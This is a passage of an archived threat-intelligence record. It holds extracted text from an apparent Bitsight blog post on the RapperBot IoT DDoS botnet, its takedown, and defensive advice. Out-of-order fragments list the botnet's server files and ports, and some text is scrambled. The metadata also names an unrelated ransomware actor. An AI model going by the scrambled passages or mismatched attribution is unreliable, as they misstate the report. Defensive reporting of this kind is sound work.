takedown occurred\r\nwere all trying to connect back again.\r\nThis law enforcement action was taken in conjunction with Operation PowerOFF, an ongoing, coordinated effort among\r\ninternational law enforcement agencies aimed at dismantling criminal DDoS-for-hire infrastructures worldwide and maybe\r\nputs RapperBot to sleep for some time. But for how long? It is hard to tell. For now, we can see that the C2 IPs are not using\r\nthe usual malware protocol to communicate with the infected devices. Those that respond to the connection attempts just\r\nclose it without sending any data back. In this sense, the operation seems successful so far.\r\nThe fact is that, whether we like it or not, there are hundreds of thousands of end-of-life IoT devices out there, connected to\r\nthe Internet, like sitting ducks. The RapperBot infrastructure and all its obfuscated malware code rely on that simple fact.\r\nRapperBot was implicated in DDoS attacks targeting DeepSeek and X with attacks exceeding a massive 7Tbps, which are\r\neffectively some of the largest ever recorded.\r\nYet, their methodology is simple: scan the Internet for old edge devices (like DVRs and routers), brute-force or exploit and\r\nmake them execute the botnet malware. No persistence is actually needed, just scan and infect, again and again. Because the\r\nvulnerable devices continue to be exposed out there and they are easier to find than ever before.\r\nThis problem is simple to describe, hard to solve and it will not go away soon. You can’t just patch the internet. Be it either\r\nRapperBot v3 or some Mirai variant by another name, we will keep seeing the same modus operandi come back to DDoS\r\nus. In fact, DDoS malware is one of the most popular malware types seen on crime forums, as Bitsight noted in the State of\r\nthe Underground 2025 report.\r\nAlthough you can’t fix the internet, you can protect yourself and your organization by following some standard security\r\nmeasures.\r\nPersonal\r\nBe wary of old devices: Be aware that older devices may no longer receive security updates, making them more\r\nvulnerable, in a permanent way. If possible, consider replacing them with newer, more secure models.\r\nKeep devices updated: Regularly update firmware for all internet-connected devices (routers, NVRs, smart home\r\ndevices, etc.). Check manufacturer websites for the latest updates.\r\nStrong, unique passwords: Use complex, unique passwords for all your devices and online accounts. Rotate all\r\ndefault passwords and common combinations in internet exposed devices.\r\nDisable UPnP if unused: If you don't actively use Universal Plug and Play (UPnP) on your router, disable it. UPnP\r\ncan automatically open ports on your network, potentially exposing vulnerable devices. Check the manual to\r\nunderstand how to check if it is on.\r\nReview exposed services: Regularly check what ports are open on your router and what services are exposed to the\r\ninternet. If you don't need a service exposed, disable it. If you have the know-how, regularly scan your IP from the\r\noutside (with tools like nmap for example)\r\nOrganizations\r\nComprehensive asset inventory: Maintain an up-to-date inventory of all internet-facing devices, including IoT and\r\nICS/OT devices.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 26 of 27\n\nVulnerability management: Implement a robust vulnerability management program to identify and remediate\r\nvulnerabilities in a timely manner. This includes regular scanning and penetration testing.\r\nPatch management: Establish and enforce a strict patch management policy for all systems and devices.\r\nIntrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions to monitor for and block malicious\r\nnetwork traffic, including scanning attempts and DDoS attacks.\r\nStrong access controls: Enforce strong authentication and authorization policies, including multi-factor\r\nauthentication (MFA) where possible. Regularly review and revoke unnecessary access.\r\nIncident response plan: Develop and regularly test an incident response plan to effectively respond to and mitigate\r\nsecurity incidents like botnet infections or DDoS attacks.\r\nThreat intelligence: Leverage threat intelligence feeds to stay informed about emerging threats, TTPs (Tactics,\r\nTechniques, and Procedures), and IOCs (Indicators of Compromise) related to IoT botnets.\r\nBy now there is little more to do than to share the RapperBot IOCs we gathered. In addition to our GitHub, you can find the\r\ndifferent IOCs for domains, FQDNs, IPs and malware binaries in our RapperBot VirusTotal collection. We hope that the\r\nsharing of those can contribute to a better understanding of RapperBot and its variants.\r\nPlease feel free to reach out to our TRACE team with any questions or comments.\r\nSource: https://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 27 of 27\n\n https://www.bitsight.com/blog/rapperbot-infection-ddos-split-second  \n1 0 drwxr-xr-x 1 root root 1024 Jan 1 1970 .\n3 4-rwxr-xr-x 1 root root 143 Jun 27 06:53 ./c\n138 572-rw-r--r-- 1 root root 581935 Jul 16 01:13 ./dropbearmulti\n6 4-rwxr-xr-x 1 root root 1423 Jul 2 07:32 ./f\n7 4-rwxr-xr-x 1 root root 709 Jul 2 07:32 ./g\n98 4-rwxr-xr-x 1 root root 568 Jul 9 15:59 ./i\n8 4-rwxr-xr-x 1 root root 983 Jul 13 17:24 ./k\n9 4-rwxr-xr-x 1 root root 988 Jul 13 17:24 ./l\n10 4-rwxr-xr-x 1 root root 382 Jul 2 07:32 ./m\n11 4-rwxr-xr-x 1 root root 1302 Jul 2 07:32 ./n\n139 176-rwxr-xr-x 1 root root 1779784 Jul 16 01:16 ./netcat\n140 96-rwxr-xr-x 1 root root 96644 Jul 16 03:09 ./netstat-mips\n14 1-rwxr-xr-x 1 root root 1437 Jul 2 07:32 ./p\n12 4-rwxr-xr-x 1 root root 1809 Jul 2 07:32 ./r\n13 4-rwxr-xr-x 1 root root 2148 Jul 19 10:55 ./s\n14 4-rwxr-xr-x 1 root root 4496 Jul 10 07:55 ./ss\n32 4 drwxr-xr-x 1 root root 15 Dec 25 2024 ./ss/.ssh\n111 2796-rwxr-xr-x 1 root root 2866931 Jul 10 07:54 ./ss/a.zip\n112 188-rwxr-xr-x 1 root root 190792 Jul 10 07:53 ./ss/arc\n113 116-rwxr-xr-x 1 root root 117369 Jul 10 07:54 ./ss/arc.gz\n114 144-rwxr-xr-x 1 root root 146368 Jul 10 07:53 ./ss/armv4eb\n115 84-rwxr-xr-x 1 root root 83768 Jul 10 07:54 ./ss/armv4eb.gz\n116 148-rwxr-xr-x 1 root root 147988 Jul 10 07:53 ./ss/armv41\n117 204-rwxr-xr-x 1 root root 84886 Jul 10 07:54 ./ss/armv41.gz\n118 148-rwxr-xr-x 1 root root 148132 Jul 10 07:54 ./ss/armv51\n119 184-rwxr-xr-x 1 root root 85191 Jul 10 07:54 ./ss/armv51.gz\n120 84-rwxr-xr-x 1 root root 146384 Jul 10 07:54 ./ss/armv61\n121 94-rwxr-xr-x 1 root root 63892 Jul 12 09:34 ./ss/armv61.gz\n125 160-rwxr-xr-x 1 root root 162266 Jul 10 07:54 ./ss/armv71\n126 80-rwxr-xr-x 1 root root 89915 Jul 10 07:54 ./ss/armv71.gz\n122 152-rwxr-xr-x 1 root root 153848 Jul 10 07:54 ./ss/i686\n123 80-rwxr-xr-x 1 root root 76808 Jul 10 07:54 ./ss/i686.gz\n107 188-rwxr-xr-x 1 root root 188933 Jul 10 07:54 ./ss/mips\n124 92-rwxr-xr-x 1 root root 92288 Jul 10 07:54 ./ss/mips64\n129 144-rwxr-xr-x 1 root root 94355 Jul 10 07:54 ./ss/mips64.gz\n116 192-rwxr-xr-x 1 root root 193616 Jul 10 07:54 ./ss/mipsel\n127 220-rwxr-xr-x 1 root root 222724 Jul 10 07:54 ./ss/mipsel64\n128 116-rwxr-xr-x 1 root root 115974 Jul 10 07:54 ./ss/mipsel64.gz\n129 144-rwxr-xr-x 1 root root 145896 Jul 10 07:54 ./ss/powerpc\n130 84-rwxr-xr-x 1 root root 83269 Jul 10 07:54 ./ss/powerpc.gz\n131 164-rwxr-xr-x 1 root root 165692 Jul 10 07:54 ./ss/riscv32\n132 160-rwxr-xr-x 1 root root 161825 Jul 10 07:54 ./ss/riscv32.gz\n133 160-rwxr-xr-x 1 root root 162048 Jul 10 07:54 ./ss/sh4\n135 156-rwxr-xr-x 1 root root 155884 Jul 10 07:54 ./ss/sparc\n108 152-rwxr-xr-x 1 root root 904 Jul 2 07:32 ./v\n17 4-rwxr-xr-x 1 root root 2395 Jul 2 07:32 ./u\n18 4 drwxr-xr-x 2 root root 4096 Aug 2 21:47 ./vv\n65 0-rwx------ 1 root root 0 Dec 25 2024 ./vv/.vnlla\n163 116-rwxr-xr-x 1 root root 118480 Jul 8 21:41 ./vv/aarch64\n67 148-rwxr-xr-x 1 root root 94694 Jun 18 09:11 ./vv/arc\n68 92-rwxr-xr-x 1 root root 96529 Jun 18 09:11 ./vv/arc.gz\n69 160-rwxr-xr-x 1 root root 151712 Jun 18 09:11 ./vv/armv4eb\n70 64-rwxr-xr-x 1 root root 59727 Jun 18 09:11 ./vv/armv4eb.gz\n71 60-rwxr-xr-x 1 root root 60656 Jun 18 09:11 ./vv/armv41\n72 60-rwxr-xr-x 1 root root 60747 Jun 18 09:11 ./vv/armv41.gz\n73 108-rwxr-xr-x 1 root root 108428 Jun 18 09:11 ./vv/armv51\n74 68-rwxr-xr-x 1 root root 61686 Jun 18 09:11 ./vv/armv51.gz\n75 104-rwxr-xr-x 1 root root 165556 Jun 18 09:11 ./vv/armv61\n76 60-rwxr-xr-x 1 root root 60159 Jun 18 09:11 ./vv/armv61.gz\n77 116-rwxr-xr-x 1 root root 118480 Jun 18 09:11 ./vv/armv71\n78 68-rwxr-xr-x 1 root root 66149 Jun 18 09:11 ./vv/armv71.gz\n79 104-rwxr-xr-x 1 root root 104180 Jun 18 09:11 ./vv/i686\n  Page 12 of 27\n\nThe fact that I saw were in this list: port 4444 the first time was a coincidence, there are more destination ports possible. The ones I observe \n443, 554, 993, 995, 1935, 2022, 2222, 3074, 3389, 3478, 3544, 3724, 4443, 4444, 5000, 5222, 5223, 6036, 6666,\n   Page 19 of 27   \n\nidea of how since the end it evolved over of March (they time. The below chart will be included in just shows the most the IOCs section). recent changes, as there were over 60 IPs involved\nAs we monitored the botnet, we noticed a spike of communications going into the C2s between the 6th and 7th of August.\nOn August 19th the most likely explanation surfaces: The U.S. Attorney's Office of the District of Alaska releases a press\nrelease:      \n   Page 25 of 27",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.bitsight.com/blog/rapperbot-infection-ddos-split-second"
	],
	"report_names": [
		"rapperbot-infection-ddos-split-second"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434718,
	"ts_updated_at": 1775826783,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6e2c0980d245bda5ab45799725a7a3e386442af5.pdf",
		"text": "https://archive.orkl.eu/6e2c0980d245bda5ab45799725a7a3e386442af5.txt",
		"img": "https://archive.orkl.eu/6e2c0980d245bda5ab45799725a7a3e386442af5.jpg"
	}
}